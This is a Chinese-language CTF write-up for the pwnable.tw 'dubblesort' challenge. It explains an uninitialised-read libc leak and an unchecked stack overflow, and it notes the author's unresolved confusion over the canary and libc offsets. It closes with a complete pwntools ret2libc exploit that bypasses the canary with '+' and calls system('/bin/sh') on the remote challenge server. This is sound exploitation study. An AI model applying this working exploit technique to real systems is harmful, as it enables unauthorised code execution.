漏洞点:
read函数读取的时候不会在数据末尾加上’\x00’ , 这就导致了可以泄露栈上的libc地址
v9 没有进行边界检查, 导致输入的数据可以导致栈溢出
写exp时碰到的问题:
1.IDA 生成的伪代码变量的表示位置出现问题
canary的值 显示是存放在esp + 0x7c 或 ebp - 0x10 上, 这两种应该都是指的同一地址, 但是实际调试的时候发现结果不一样
一开始是按照ebp - 0x10 去设置数据, 但是一直触发了栈溢出保护, 实际调试发现canary是存放在esp + 0x7c中
这里就有疑问, 是IDA错了还是我的问题?
不过通过调试能解决也就不在意了
2.第二个问题是算libc基址
看其它人wp的说明是泄露的地址是.got.plt 的地址, 通过 readelf -S libc_32.so.6 能看到.got.plt 的偏移为0x1b0000
但是在本地算到的.got.plt 的偏移是0x1b2000
0xf7f4800a - 0xa - 0xf7d96000 = 0x1b2000
用这个偏移能得到本地正确的libc基址
但是在本地脚本用这个偏移去跑, 无法getshell, 远程也无法getsehll
但是用偏移0x1b0000在远程能打到, 而本地还是无法getshell
而且奇怪的是本地无论用0x1b0000还是0x1b2000,算得的system和/bin/sh的地址用x/i 命令查看汇编代码的时候都不正确,没显示正确的内容, 这里就想不通了, 正常操作得到的基址为什么得不到正常的system地址?
这里存疑,深究太费时间, 先放着
EXP:
from pwn import *
import struct
context(arch='i386', os='linux', log_level='debug')
debug = 1
d = 0
if debug == 0:
p = process("./dubblesort")
if d == 1:
gdb.attach(p)
else:
p = remote("chall.pwnable.tw", 10101)
libc = ELF("ds_libc_32.so.6")
p.sendlineafter("What your name :", 'a'*0x18)
p.recvuntil('a'*0x18)
leak = u32(p.recv(4))
print "leak-> " + hex(leak)
#libc_base = leak - 0xa - (0xf7ec4000 - 0xf7d12000)
libc_base = leak - 0xa - 0x1b0000
system = libc.symbols['system'] + libc_base
binsh = libc.search('/bin/sh\0').next() + libc_base
print "libc_base-> " + hex(libc_base)
print "system-> " + hex(system)
print "binsh-> " + hex(binsh)
num = 35
fmt = 'How many numbers do you what to sort :'
p.sendlineafter(fmt, str(num))
for i in range(28):
fmt = "Enter the " + str(i) + " number : "
if i == 24:
c = '+'
elif i < 24:
c = str(i)
else:
c = str(system)
p.sendlineafter(fmt, c)
for i in range(6):
fmt = "Enter the " + str(i + 28) + " number : "
p.sendlineafter(fmt, str(system))
p.sendlineafter("Enter the 34 number : ", str(binsh))
p.interactive()
结果: